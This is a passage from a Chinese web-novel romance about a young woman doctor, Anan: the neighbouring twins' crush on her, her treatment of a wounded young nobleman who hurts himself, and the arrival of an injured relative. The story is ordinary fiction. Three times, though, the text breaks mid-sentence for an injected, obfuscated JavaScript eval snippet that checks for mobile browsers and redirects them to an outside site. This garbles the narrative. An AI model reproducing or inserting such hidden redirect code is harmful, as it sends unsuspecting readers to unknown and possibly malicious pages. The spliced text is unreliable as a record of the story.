陈山脱衣服熄灯上榻,又问起白日安安怎么哭了。 安杏花如实道出,陈山道:“一晃隔壁双生子都长大了,说起来,他们年岁不小,再跳墙就不合适了,明日你同罗家的说一声。” “嗯,知道了,快睡吧。” 翌日,一家几口照例早起,安素雪习惯早上来正房帮忙照看弟弟。 弟弟大名唤作陈修竹,乳名就叫小竹子,水润的眼睛脸蛋圆鼓鼓,像是年画小娃娃,抱出去总是会吸引路人的视线。 小孩圆滚滚的肚子套上厚实衣服后,像是一个小圆球。趴在那吱呀学语,可爱的紧。安素雪老是忍不住想亲亲弟弟,但这样做兴许会导致弟弟生病,于是她只摸摸柔软的头发,捏捏肉乎乎的小脸蛋。 “安安,你快来吃饭。” 孩子太小离不开人,只有安素雪来帮忙照看的时候,安杏花才能去做一家人的早饭。前面医馆已经开门了,大多时候陈家父女端饭菜在前面吃,他们娘三个就在卧室用饭。 医馆生意不错盈利丰厚,早上一家人每人分个鸡蛋,一碗小米粥,还有安杏花亲手做的咸菜。昨晚和好的面,今早摊了两张大油饼,外表金黄酥脆,内里暄软带着葱香。 安素雪饭量不大,吃了巴掌大的饼后只吃了半碗粥,安杏花递给她剥皮鸡蛋,道:“这个必须吃,好东西。” 小时候吃不到鸡蛋的,那时候安素雪的外祖父母家里穷,养了几只鸡鸭,下蛋后要送去集市上卖钱。就算有零星被打破的鸡蛋,也会给安素雪的表哥,也就是外祖父母的亲孙子吃。 那时候她年岁小,不知道母亲把成亲的彩礼钱留下了,总之,过了一段不算特别好但也不算特别坏的日子。 后来到了亲娘膝下,她才过上好日子,鸡蛋随便吃,不会只给旁人不给自己,而且也不会因为她吃的多而数落她。 随着年岁的增长,她早就长成了落落大方的城里姑娘,不见小时候畏手畏脚的模样,甚至现在还会嫌弃鸡蛋太噎人而不喜欢吃。 但亲娘递过来的,安素雪懂事的接过,又盛了半碗米汤顺了下去。吃完饭帮忙收拾干净,安素雪出门看诊去了。 陈家四个大人,三个忙着治病救人,安杏花也没闲着,每天光是照顾幼子就已经焦头烂额。幸好孩子一天比一天大,多少能省心些。 抱着孩子去了隔壁罗家,要了一坛子药酒。 “上次用的怎么样?” 说话的是双生子的母亲,为人泼辣豪爽,两家是邻居互帮互助,比如这药酒的方子就是陈山研究出来的,可内服也可外用,安杏花腿早年落了毛病,用药酒搓搓会舒服些。 “好用,阴天下雨也没那么疼了。” 她拿酒自然是不要钱的,罗母还挑了一坛子桃花酒。 “不醉人,回口甘甜,城里正时兴喝这个,你拿回去和两个姑娘试试。” 道谢之后坐下闲聊,说着说着话题就转到孩子们身上。 安杏花说双生子懂事能干,罗母一脸骄傲,附近的街坊邻居们都羡慕她有俩儿子,长的又俊又能干。 罗母笑完之后夸道:“香玉也是好孩子,天天帮她爹忙活,还有你家安安,哎呦,才十六就生的这么好看又会看病,我看再过几年,非得被人唤作女医仙不可!” 安杏花脸上洋溢着幸福的笑,家里富足儿女双全,没什么比这更让人开怀的事情了。她没忘记这次的目的,状似不经意的提起横在两家的那堵墙。 “我早上看,中间凹陷了一块,想起来孩子们小时候罗文和罗武调皮,总是不走正门,非要从墙上跳过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她时不时的点头表示自己在听母亲讲话,或是出声应答,声音温柔,让安杏花也不自觉放缓了声音。 “娘说的,你可都听进去了?” “知道的,娘说我现在大了,要注意避嫌。” 安杏花点头:“村子里像是你这个岁数,都已经成婚了,还有结亲结的早,年底都要生孩子了。” 安素雪该点头的,可出人意料的是,她微微摇头表示不赞同。 “年岁太小身子骨还没长开就生产,很容易难产,一尸两命。” “傻孩子,娘说的重点不是这个。” 安杏花一时无言。 多年前,陈山提出也教安素雪医术,安杏花高兴极了,觉得有一门手艺傍身是好事。但没想到安素雪学起来浑然忘我,刚开始甚至通宵辨认药材。 那时候她已经自己住了,谁都不知道她一晚上没睡。还是有一天早上吃饭,吃着吃着,小姑娘啪嗒掉了筷子。 吃饭筷子掉是不吉利的,安杏花在别人面前是严母,于是训斥了女儿,刚说一句,便见小姑娘闭着眼睛,下巴搭在粥水里,睡的香甜。 后来询问才知道,她已经两天晚上没睡觉了,安杏花又是心疼又是生气。 还有一次,那时候陈山刚教姐妹俩辨认人体各种脏器。陈家世代行医,自然什么东西都有,各种木头做的心脏脾胃肠等玩意,她胆子不小,竟然敢拿在手里把玩。 然后夜里安杏花去女儿房间里盖被子,就看见床边耷拉着一条鲜血淋漓的肠子,吓的尖叫一声。 其实是上了红漆的绳子,扭至肠子的模样,陈家人手艺好,做的惟妙惟肖,安素雪是想熟悉长度和不同部位,一时忘了,熟睡后蹬被子,将“肠子”蹬了出去。 想到这些,安杏花有点头疼,索性直白道:“安安,娘告诉你,要注意男女有别。” 接着安杏花说了不少,多是让安素雪多注意的话。 可安素雪完全没听进去。 医者父母心。 在她面前一视同仁都是病人,无关性别。 可惜直到安杏花离开女儿房间,都不知道她这一趟白来了,因为第二天,安素雪面前就躺了个裸男。 5. 第 5 章 罗武闷闷不乐,坐在院子里摆弄那束被嫌弃的鲜花。 城里花还没开,这是他跑去城外摘的,还差点被蜜蜂蛰。现在罗武的心情就如同蔫了的花,提不起半点情绪。 “还在郁闷?” 孪生哥哥罗文过来,拍了下弟弟的宽厚的背,坐在他身侧。 “大哥,你说我怎么总是惹安安哭啊?” 他模样生的还不错,眼睛发圆,此刻蔫蔫的,像是街上那条老被训斥的大黄狗,委屈的两只手放在腿上,将裤腿都抓出了褶皱。 “你别老像狗似的往安安身边凑。”罗文道。 罗武不满,竖眉道:“为什么?” “什么为什么?你看谁家的郎君没事往姑娘身边凑?” 罗武眉眼耷拉下来。 “可是我很想每天见到安安,我喜欢她。” 罗文怔愣。 他们兄弟从小就和安素雪一起玩,和寻常人家的兄妹一般相处,打打闹闹。罗文比罗武沉稳一些,总是会照顾安素雪,而罗武性子跳脱,更愿意和安素雪玩闹,不过小时候就总是将小姑娘惹的眼泪汪汪。 罗文从未将弟弟的心思往男女之事上想,他拧着眉头道:“你十一岁那年将安安推水盆里,害安安热了一宿。你十二岁那年带安安爬树,虫子掉安安脸上,吓哭了她,还有一次你……” “行了,大哥你别说了。”罗武过来捂罗文的嘴,“我不是故意的,我就是想和她玩。而且那都是小时候的事情了,你提这个做什么?” 罗文拂开弟弟的手,看着和自己同样的脸,不明白他是从什么时候对安安产生了感情,他甚至觉得,罗武弄混了,那不是情爱,只是对妹妹的呵护。 “我确定喜欢安安,大哥,你难道没有对安安心动?” “我拿她当妹妹。” 罗武一脸不相信。 “安安长的好看又会医术,笑起来的时候眼睛弯着像是月亮,你不喜欢她?” 惊讶之下,罗武嗓门有点大,罗文示意他小声一些。 “大哥,你当真不喜欢安安?” “要我说几次?” 罗武还是一脸不相信的样子。 “我不信,除非……”他眼珠子转了下,难得聪明一回。 “除非你帮我。” “对,大哥,你帮我吧,”他越说越顺溜,“只要你帮我让安安喜欢我,我就信你。” 罗文气笑了。 “你是小孩子不成?当我傻的?” 罗武不依不饶,还说歪理。“既然你说拿安安当妹妹,那你也不想看见她嫁给别人吧?只要她进了咱们家门,我们哥俩一起对她好!” 这话乍听没毛病,但咂摸一会,总觉得哪里不太对。 …… 距离给那人缝线,正好过去七天。 安素雪今日没去别的地方看诊,就在医馆等着谢府人过来叫她。可从早上等到晌午,也没等来人。 “三碗水煎做一碗,饭后服用,这是五天的量,喝完应该就差不多了,如果哪里不适,再来医馆看。” 陈香玉去上门看诊去了,陈山也不在,医馆里只有安素雪,一天下来忙碌的连午饭都没吃,还要分心注意对街谢府大门是否开了。 送走客人,安素雪站在门口,再一次朝着谢府观望。 还是和一刻钟之前似的,院门紧闭。 正当安素雪要转身回去的时候,看见罗武从隔壁出来,手里还拎着酒坛子。 “送酒去吗?”安素雪同对方打招呼。 也不知道怎么了,罗武竟然后退一步回到铺子,难道他是忘了拿东西?安素雪探头看过来,片刻后,罗武面红耳赤的出来,急急忙忙道:“我去忙了!” 说完走出来,飞快的消失在人群里。 “他今天怎么有点奇怪?” 殊不知,罗武正咬牙切齿。 大哥罗文答应他的要求,帮他追求安素雪,但只有一个条件,就是罗武必须听他的。 罗武也知道孪生大哥比他聪明,于是一口应下。可没想到罗文说:“首先,这两日不要见安安。” 罗武炸了,腾的站起来,怒气冲冲道:“凭什么不让我见她?你是不是故意的,其实根本不是帮我!” 和他相比,罗文淡定许多,只抬眼看他,声音平淡道:“到底要不要我帮忙?” 然后罗武就蔫了,只能应下大哥的要求。 他已经憋了一天了,今天是第二天,万万不能前功尽弃。 回忆方才安素雪笑起来的模样,罗武也傻笑两声。 “快两天没见,安安应该是想我了,方才主动叫我呢!” 殊不知只是碰巧罢了,安素雪在等着谢府的人。 等到日落西山,终于来人了。 不像是之前随便来个仆从,今日来的竟然是添香。 安素雪知道大户人家规矩多,像是仆从丫鬟也是分个三六九等的,比如红袖和添香,便是谢公子近身侍候的大丫鬟,她们大多侍候在主子身边,有什么事情都是叫底下的人去跑腿。 怎么今日是她来了,而且还神色慌张的模样? “安大夫,还请你跟我走一趟。” 药箱是早就准备好了的,安素雪点头:“好,不过你稍等,我去叫我娘来看着铺子。” 她想着就是过去帮忙拆个线,用不了多久就回来。 前面带路的添香脚步匆匆,安素雪有种不好的预感。几次欲要问问,但不知怎么开口。 到了正院后,发现院子里的丫鬟仆从俱是大气不敢出的样子,气氛压抑,连安素雪这个外人都忍不住放轻脚步,不弄出半点声响。 “你怎么把她叫来了?” 说话的是站在正房门口的红袖,蹙着眉头,极为不赞同添香的做法。 主子连她们这些侍候多年的丫鬟都不见,还能见个外人不成? 这不纯属添乱吗? “让她试试也不亏,”添香将红袖拽到一旁,急声道:“总不能任由主子胡来啊,总得想想办法。” 红袖沉默片刻,想来应是觉得添香说的对。 “我问问公子。” 添香让安素雪稍等,那边红袖已经走到门口,轻轻叩门之后温声问询道:“公子,安大夫来了。” 屋内寂静无声。 红袖嘴角翘起一瞬,很快被她压了下去。转过身时便是一副担忧和无奈的神色。“公子不让……” 话未说完,便听一声清润的男子声音。“她自己进来。” 红袖面色发僵,添香则是大喜过望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555087|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太好了,安大夫,你进去之后帮忙照顾公子,需要什么就说,我们都会准备好。” 那边红袖不阴不阳的低声道:“收起你无用的心思。” 这话对旁的姑娘有用,能听出敲打的意思,但安素雪一心治病,一脸懵的看她。 什么意思? 不待安素雪反应过来,她已经被红袖推进房间,随后房门砰的关上。 屋内照旧拉着帘子,冷不防进来辨认不清,嗅觉更加灵敏,能闻到浓重的血腥气。 难道是伤口蹦开了? 安素雪着急查看自己病患的伤势,立刻绕过屏风朝着内室去了。 随着她靠近床榻,那股血腥气更深,只是放着薄纱帘,隐约能看见里面躺了个人,具体如何还要仔细查看。 安素雪在床边站定,一只手捏着垂在肩头药箱的带子。 “谢公子?” “进来。” 帐内的人说话。 方才在门外听的不真切,如今离的这般近,安素雪才发现他声音带着低哑。 莫不是高热了? “那我来了。”纤细的手指探进去,直接将帘子撩开,借着床边灯火,勉强看见谢公子正面朝上躺在那,面色惨白,眸子幽暗。 他抬起手在自己唇上抹了一下,原本苍白的唇霎时变得殷红。 安素雪愣住。 可对方竟然笑了。 果然是怕了吗? “你……”安素雪犹豫后下巴抬了抬,指着谢骧的大腿方向。 “今天刚落的伤?” 谢骧笑容滞住。 安素雪放下药箱,一条腿支撑在床边,俯下身子去检查病患。他只穿着一身单薄素白的寝衣,右手虎口处白纱布已经被血水浸透,左腿上的伤痕明显是刚出现不久,因为还在不断的往外滴血。 他不知道痛的吗? 安素雪蹙眉,侧身去打开药箱,没注意到谢骧嘴角压平,眸子失去方才的光彩,变得古井无波。 “出去。”他说。 安素雪动作没停,这些年陈山教导的不错,这么会她已经想好先处理哪个伤口,再开什么药了。 “上次给你缝线用的桑线,虽然可以溶于血肉,但你虎口处缝了十二针,怕是还要拆一次线。还有你后背的箭伤,再换三次药应该就能结痂,至于腿上的伤,我要看过才能下定论。” 谢骧看着她,不发一言。 此刻安素雪出于大夫角度坐在床边,并无其他杂念,拿过剪刀,她道:“脱裤子太麻烦,请问我可以用剪刀将裤子剪开吗?” 如花似玉的年纪,拿着一把剪刀,想要剪开一个男人的裤子。 谢骧露出玩味的神色。 “你确定?” 她眼眸清澈没有半点杂念,重重点头。“裤子已经被染了血,估摸公子也不会再穿了,剪开方便。” 说着她弯腰下手,谢骧躺在那没有任何感觉,直到她说好了,谢骧才抬起脑袋朝着自己身下看。 甚好,除了□□那还连着,其他地方都被她剪开了。 他欲要开口,就见她一只手覆盖在腿伤附近,面上毫无羞耻之色,反而带了点稚子的懵懂。 “你这伤……” 为何看着像是他自己造成的? 6. 第 6 章 作为大夫安素雪够努力够细心,连陈山这个继父都曾和安杏花夸赞过,说她比陈香玉更有天赋。 刚开始陈山带着她们姐妹俩看诊,后来二人出师能独立看病,安素雪颇受附近邻里喜欢,觉得她温柔又心细。 比如此刻,安素雪看着他大腿上的伤口,一眼就瞧出来是他自己所伤。 因为伤口上深下浅,从角度上看如果不是有人抱着谢公子捅伤了他,那就是他自己所为。 谢府上下仆从一堆,应该没有人敢违逆主子做这种事。 “我的伤怎么了?” 躺在那的青年看过来,神情坦然的模样,好像受伤的不是他一般。 “没什么,我要处理了,伤口太深,里面有杂物,接下来我会取出来并将伤口清理干净,可能会疼,谢公子忍一忍。” 说完听见青年嗤笑一声,明明唇角勾着,眼睛里却没有半分笑意。 “我的腿早就废了,就算你拿刀切了它,也不会有任何感觉。” 如愿见到她诧异的神情,谢骧觉得事情又开始变得有趣了。 她会如何? 厌恶?恶心? 还是会同情? “很好,这样上药时候你不会痛。” 她平静的说完就开始低头忙碌,谢骧则是惊讶她的反应,越发关注安素雪。 其实二人见的次数不多,谢骧清楚记得她第一次上门给他处理后背伤口时,垂着脑袋,眼睛只盯着自己脚尖,好像他是什么面目可憎之人似的。 那时候她怕他? 但现在为何又不怕了? 年轻的女大夫动作利落心无旁骛的处理伤口,没一会开始扯白纱,她道:“这次伤口太深,洒了药缠好之后,公子就莫要再碰了,待过几天我来换药。” 他的伤在大腿上,想要包扎就要缠一圈。安素雪本想让他抬腿,幸好想起来他不良于行才没说出口。没办法,只能她过来抬着他的腿,艰难的绕着白纱布。 这人躺在那颀长清瘦,抬腿时却意外的沉,得两只手一起抬着才行,可这样一来,她缠纱布就不方便了。 正当安素雪为难时候,对方开口道:“我来。” 他两只手支撑着,轻而易举的靠在了床头,然后用一只手去抬起自己大腿,眉梢扬了扬。 “看什么?还不过来?” 这人……脾气可真怪。 腿上的伤处理好,接下来就要拆虎口处的线。兴许是他身体还不错,桑线吸收不少,安素雪忙完鼻尖上沁了一层薄汗。 屋里门窗紧闭又拉着窗帘不透气,时间久了觉得压抑不已。 安素雪忍着不适去给他后背换药,却发现本该结痂的伤口化脓了。 “公子沾水了?” “昨日沐浴了。” 女大夫弯弯的柳叶眉拧着,一脸的不赞同。 “公子,伤口不可碰水,轻则化脓不易恢复,重则高热引发其他病症,得不偿失。” “那又如何?身体是本……是我自己的,我想怎么样就怎么样。” 不配合的病患也没少见,但她没见过哪个人伤害自己为乐。 这人太怪了。 谢骧以为她会苦口婆心的劝说她,然而意料之外,她什么都没说,处理好之后又如之前那样一板一眼的吩咐莫要碰水云云,拿钱走了。 房门半开着,红袖敲门之后走了进来,想要侍候他。谢骧觉得没意思,挥挥手让她退出去。 “是。”红袖走出来,咬牙愤愤。 送客回来的添香见她面色不对,便问怎么了。红袖道:“也不知道她在里面做了什么,公子明显待她不同。添香,下次莫要叫她,请个男大夫过来。” “安大夫医术精湛,为何要换?”添香说完,见红袖面如土色,好像明白她的意思了。 “行,我知道了。” …… 晚上时候安素雪又上了两家的门看诊,早就将谢家那位古怪公子的事情抛之脑后。 不仅忘了谢公子,还没注意到罗家兄弟几日没出现了。 罗武都受不了了,半夜偷偷趴在墙上,看着安素雪房间烛火通明,窗户上映出妙龄女子纤瘦的身影。 “再不滚回去,我可不帮你了。” 罗文如鬼祟似的出现,罗武吓的从墙上掉下来,砰的一声。 在安素雪开门往院子里看的时候,墙头早就没了罗家兄弟的身影。 “你既已答应我听话,就不可擅自行动。”罗文将人拽回房间里,厉声斥责,“而且深更半夜趴墙头,难道不怕吓坏了安安?” “我不是想吓唬她,几天没见了,我太想她了,哪怕只看看她的背影也好。” 罗武竟露出稚童那般委屈的神色。 “大哥,这样真的能行吗?我怎么感觉安安并不在意我没出现啊?” “让你做什么就做什么,哪那么多废话?行了,赶紧收拾睡觉,最近日子好,城里不少人办喜事,家里生意不错,你多帮忙。” 其他房间满满登登都是酒水,所以兄弟俩一直睡同间房,宽敞的房间里靠着窗边放置两张床,脱了衣服躺上去,罗武却翻来覆去的睡不着。 床被压的吱呀作响,罗文叹气:“你不睡也就罢了,怎么还不让我睡觉?” “大哥,我睡不着。”罗武翻身,对着罗文的方向,“我想安安。” 蠢笨的弟弟说不出什么情话,只会直白的说想人家姑娘。 其实刚开始罗文只是觉得他习惯了安安,将习惯误会为喜欢。但这几日罗武没能和安安见面,整个人抓心挠腮似的,确定是男女之情那个喜欢,而不是兄妹之情。 罗文闭着眼睛假装睡着,不想搭理笨弟弟。 罗武却自顾自的继续说。“大哥,我也想办喜事。” 一想到安安他就觉得欢喜,嘴角都要咧到耳根子了。 “安安十六我十七,年岁相当。大哥,等到安安办完及笄礼,我就让娘上门提亲怎么样?” 八字还没一撇,他都想到成婚了。 罗文心里叹气,总觉得弟弟在男女之事上格外的蠢笨。 罗武还在絮絮叨叨畅想未来,心中涌起一股甜蜜之感。 另一个床的罗文刚要睡着,忽然心口悸动。 他睁眼,摸着胸口,粗喘着气。 这是从未有过的奇异感觉。 像是有万千蚂蚁在心口爬,又似有玉指拨弄,酥酥麻麻,却又让人乐在其中。 还在念叨的罗武突然被大哥打断,只听罗文声音不辨道:“你刚才心跳加速了?” “你怎么知道?”罗武蹭的从床榻上弹起来,想到了什么。 “大哥,你感觉到了?难道我们又恢复心灵感应了?” 都说双生子之间是有心灵感应,但罗文和罗武几乎没有那种时候。唯一的一次,是俩人随着母亲回乡下探亲,罗武贪玩脚滑掉进泥塘里,坐在家里的罗文捂着心口,面色苍白,呼吸急促。 幸而有这么一遭,才将罗武及时救出来。 现在,是第二次。 浓烈的要化成实质的情感充斥在胸膛,罗文起身,那股奇异的感觉消散,他重重吐了口气。 “大哥,这回你信我喜欢安安了吧。” “嗯。” 他垂着眸子声音平静,放在身侧的手却牢牢抓着被单。 …… 第二天起来,罗武梳洗打扮,还特意拿出来新做的衣服。 罗文看着他像是野鸡开屏似的,提醒道:“这件衣服是夏装,现在还没到时候。” 单薄透气的料子,一阵春风吹过就得冻的透心凉。 “没事,我身体好。”罗武兴高采烈的走了。 怕弟弟又惹恼了人,罗文也只得跟上。 “是罗武啊,怎么今天来的这么早?” 医馆才开门,陈山刚把门锁放好大门打开,冷不防门外站了个人吓陈山一跳。 “陈叔,早。” 罗武大跨步的往后院去,后头跟着的罗文停下脚步,与陈山寒暄几句。所以等他到的时候,罗武已经逗的安素雪捂嘴笑,俩人也不知道在笑什么。 罗文唇角不自觉的落了下来。 “罗文哥,”安素雪起身和他打招呼,罗文嗯了一声,过来抱小竹子。 “又沉了。”他颠了颠孩子。 小竹子以为在和他玩,当即咯咯笑起来,惹的罗文重新展露笑颜。 “胖乎乎的。” 罗武凑上来,想起来早上大哥的吩咐,赶忙找机会夸安素雪。 “安安,你和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555088|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟弟长的像,是不是你小时候也这么可爱啊。” “小时候的事儿不记得了,可能吧。”她说完去将洗好的尿布晾晒好,罗文则是瞪了弟弟一眼。 安安三岁时候没了亲爹,提这茬不是有心让她难过吗? 罗武摸不着头脑,又不知道哪里说错话了。 才起身的陈香玉走了出来,看见罗家两兄弟,她笑的轻蔑,意有所指道:“呦,你们家最近不忙啊。” 小时候安素雪没到陈家时,两兄弟总是和陈香玉一起玩,后来安素雪来了,他们俩就像是两条狗似的,跟在安素雪屁股后面。 陈香玉生气暴怒,觉得是自己的东西被安素雪抢走了,她还曾私下里分别找过他们,让他们只和自己玩。 可当时他们怎么说来着? 罗文委婉道:“大家可以一起玩。” 罗武则是直白的捅人心窝子。 “我就爱和安安玩。” 也就是从那时候起,陈香玉和安素雪的关系变得微妙起来。 安素雪只知道继姐似乎不喜欢自己,但她不知道为什么,可这些在陈香玉看来,就是她得了便宜还卖乖。 小时候还好,等年岁见长,陈香玉懂的男女之情,再看罗家两兄弟和便宜妹妹,就觉得真是一场好戏啊! 罗武和小时候一样傻,一脸的痴样,就差把喜欢安素雪几个字写在脸上招摇过市了。 罗文聪明不少,看似对安素雪如妹妹般照顾,实际上早就情根深种而不自知。 兄弟俩为了女人争风吃醋,她可太想看了! 所以每次见到他们,陈香玉就会嘲讽两句,扶扶发鬓挥挥衣袖,去了前面医馆,留下有点发懵的安素雪。 罗武是个憨厚的性子,他逗弄小竹子玩,罗文则是看着安素雪纯净的眼眸沉思。 显然,安安在男女之情上并未开窍。 他得想些别的法子来帮弟弟。 …… 春日乍暖还寒,生病咳嗽的人不少,陈家医馆来往的病患越发多,陈山让她们姐妹俩围了面巾,只露出眼睛。 “免得有病人咳嗽喷溅到脸上,预防好。对了,接触过病患后切记及时净手,出铺子回后院之前,用艾草熏一遍身上。” 陈香玉撇嘴,觉得陈山就是怕自己宝贝小儿子被传染生病罢了。 安素雪乖巧的点头,“我先回自己房里换身衣服。” 晚上陈山给家人盛粥,一家子坐一起吃饭,他道:“这些日子城里患病的人不少,出行时多加小心,这粥里我放了药材,剁了一只老母鸡。你们母亲守在灶台旁炖了两个时辰,来,都尝尝。” 老母鸡炖的软烂,鸡汤熬出来的粥香浓软滑,配上滋补草药,让人食欲大动。 桌子上摆了小菜,都是安杏花亲手做的,除此之外,还有几块桂花糕。 “香玉喜欢吃桂花糕,尝尝,是街角那家点心铺子刚出锅的,还热乎着。” 安杏花先给陈香玉夹了一块,然后才给安素雪夹菜。 “谢谢。”陈香玉客气的道谢,安杏花笑笑,让她多吃点。 弟弟小竹子也能用饭了,不过得把鸡肉撕成一条条,和粥水搅拌在一起喂给他。 安素雪吃饭快,然后就开始喂弟弟,陈山惦记铺子今日的账目,说去前面检查一番。 天色浓黑如墨,安杏花给他拿了灯笼,道:“把账本拿回来对吧,左右也没病患。” “行。” 只是去的时候一个人,回来时候却多了一个。 陈山个头不矮,可他扶着那人高出他一头,脚步虚浮靠在他身上,耷拉着脑袋看不清面容。 “香玉,你去准备热水,安安,去将我药箱子拿来!” 陈山急促吩咐,两个姑娘连忙做事。 安杏花将睡着的小竹子抱去了内室,急匆匆的出来,着急道:“这人是谁?怎么伤成这样?” 一身玄色衣服破破烂烂,露出半个劲瘦小臂,头发蓬乱耷拉在肩头,盖着肩膀上堪堪结痂的伤疤。 “我那个远亲外甥。”陈山表明对方身份后,安杏花吃惊不已。 “季家那个孩子?” 他爹在茶马司任职,怎么说也是官家之子,谁有这么大胆量将人伤成这样,而且,他怎么自己来了? 7. 第 7 章 一家人齐齐在正房外室,陈山已经将人放在外室供小憩的榻上了,但这人手长脚长,上半身落在榻上,小腿悬空,脚直接耷拉在地下。 安素雪放好药箱,陈山和安杏花过来给他脱衣服,他穿着与这里也不大一样,兴许是西戎吐蕃那边传过来的样式,类似于短打但更贴身,用的料子摸着像是细布但明显发硬。 刚脱了鞋,榻上的人乱动,陈山正在拿药,安杏花便道:“安安,你帮个忙,将他腰带解了,他腿上也有伤,我去拿剪刀剪开裤脚。香玉,你能帮忙去照看小竹子吗?他刚睡下。” 这人脏兮兮臭烘烘的,说不定是城里的乞丐倒在医馆,陈香玉才不想沾手,于是进内室去了。 安素雪留下帮忙,走到榻边,弯腰欲要解腰带,手刚沾上对方,冷不防一只大掌盖住她的手,又瞬间圈住她的腕子。 安素雪吓了一跳,忙抽开,手腕上已经落了一层血污,在凝白的皮肤上分外显眼。 榻上乱蓬蓬头发缝隙里露出一只眼睛,定定的看着她。 “我帮你治疗。”安素雪立刻解释。 陈山这才想起来还没介绍对方的身份,连忙道:“安安,他就是我提过要来咱们家的季公子,季公子,这是我二女儿,唤作安安。” 其实按照辈分,陈山完全可以叫对方名字,但问题是他只知道他姓季,并不知道他叫什么。 他好像才从迷糊中清醒过来,视线在屋内转了一圈,好似在打量着什么,最后看向围着他的三个人。 “哎,你身上有伤,就先躺着。”陈山来扶欲要起身的人。 撑着手臂,他到底还是起来了,一只手撩过头发,露出一张明显和中原地区不一样的面容。 脸上还算干净,蜜色皮肤,眉骨略高,显得眼眸格外深邃。 “季飞白。” 声音清亮中带着低哑,嘴唇起了一层干皮。 陈山连忙点头:“好好,飞白,你快躺下,先处理伤势要紧。” 安素雪最见不得病人不顾自己身体,也跟着点头。 季飞白又看了过来,烛火下他的眼眸亮的惊人,安素雪一愣,安杏花率先明白他的意思。 “那个,安安香玉,天色不早了,你们快去睡。” 将两个女儿都支走,左右季飞白醒了,便让陈山自己处理。安杏花坐在内室哄孩子,听见外室他们在聊天。 她记得陈山说过,季家那孩子和安安同岁,但没想到身量竟然这般高,比隔壁双生子都高出不少。还有他的脸,似乎也比寻常人更加挺拔好看。 听着听着,安杏花就发现几乎只有陈山自己的声音,季飞白偶有发声。 看样子这孩子是个冷淡的性子。 陈山给他处理好伤势,这些伤有新有旧,而且有刀伤有剑伤,陈山实在是憋不住了,询问道:“路上遇见了什么人?怎么将你伤成这样?” 季飞白衣服都脱了,只剩下一件亵裤。他勉强支撑自己靠在榻上,对于身上缠着的纱布置若罔闻,神色平静道:“遇见了山贼。” 他说的云淡风轻,可陈山知道其中艰辛。 “听说南边那边有乱党,你是从北边过来的?” “嗯。” “我去给你熬一副药喝下。” 陈山把东西收拾好来到内室,低声和安杏花商量。季飞白虽然年岁不大,但身量极高,在外面小榻上无法将就,而且还是个带伤的病患,总得休息好才是。 陈山说让两个女儿住一间房,让出一间给季飞白住。 “那就让安安搬到香玉的房间好了,香玉房间大,住两个人正好。” 事情就这样定下,安素雪已经躺下了,连忙套上外裳起身开门,那人就立在门外,低眉扫了她一眼,很快别过视线。 “安安,你去和香玉一起睡,让飞白住这。” “是。” 俩人错身而过,他身上血腥和药味混杂,不大好闻。 翌日。 安素雪从陈香玉屋里的小榻上醒来。 昨日换地方有些认生,所以许久才睡着,今天难得起晚了一刻钟。 她出来时候,陈山和安杏花俩人已经忙活好了一家子的早饭,院子里的小灶上放着药锅,锅里正咕噜噜煮着苦涩的汤药。 “娘,还需要准备什么,我帮你。” “都好了,你往屋里端吧。” 安素雪先是洗了把脸,这才端着两碟小菜往正房去。正房地方大,平日里他们吃饭都是在那。 这几日天气渐暖,房门打开通气,所以不待走近便能瞧见坐在桌边的一道颀长身影。 之前乱蓬蓬脏污的头发清洗干净,此刻梳的整齐,露出精致的额头和漂亮的眉眼,悬挺的鼻子下,殷红的薄唇微微抿着。 果然不是中原的长相。 很像之前见过一个商队里的人,有胡人血统的男子,体格健硕俊美非凡。 但眼前的容颜更胜一筹。 似是察觉出她的视线,对方抬头,深邃狭长微微上挑的眼睛看过来。 竟是琥珀色的眸子。 安素雪身形微顿,而后耳尖发红的朝对方点点头,垂着眸子往桌边去,将小菜放在桌子上。 “我是安素雪,他们都叫我安安。” 对方也不知是吃什么长大,肩宽腿长,坐在那隐隐的给人一种压迫感。 安素雪脑子一空,不知道说什么好,就报了自己名字。 “季飞白。”对方薄唇轻启,惜字如金的吐出三个字。 凑近了才发现,对方衣服大小不合适,搭在膝盖上的手臂露出一截。 很明显,这件是陈山的衣服。 吃完了饭,安杏花叫安素雪看着孩子,她去街上买件成衣给他。 过了许久安杏花匆忙回来,歉意道:“飞白,你身量太高,铺子里没有相当尺寸,得现做,两天后才能做好,这两天就委屈你穿你叔叔的衣服。” “有劳婶婶。” 坐在院子里晒太阳的人话不多,说完话就转过头去,侧脸硬挺英俊。 “安安啊,你去看看药熬好了吗?” 陈山说季飞白内脏也有损伤,得喝汤药慢慢调养。熬好的药放在一边,待晾一会能端了,安素雪刚要上手,便被人挤到一旁。 “我来。” 陈香玉不知道什么时候过来的,而且身上香脂味很浓,再看她的脸,描眉化唇,显然是打扮一番才出来。 安素雪眨眨眼,见陈香玉凑在季飞白说了什么,还捂嘴轻笑。 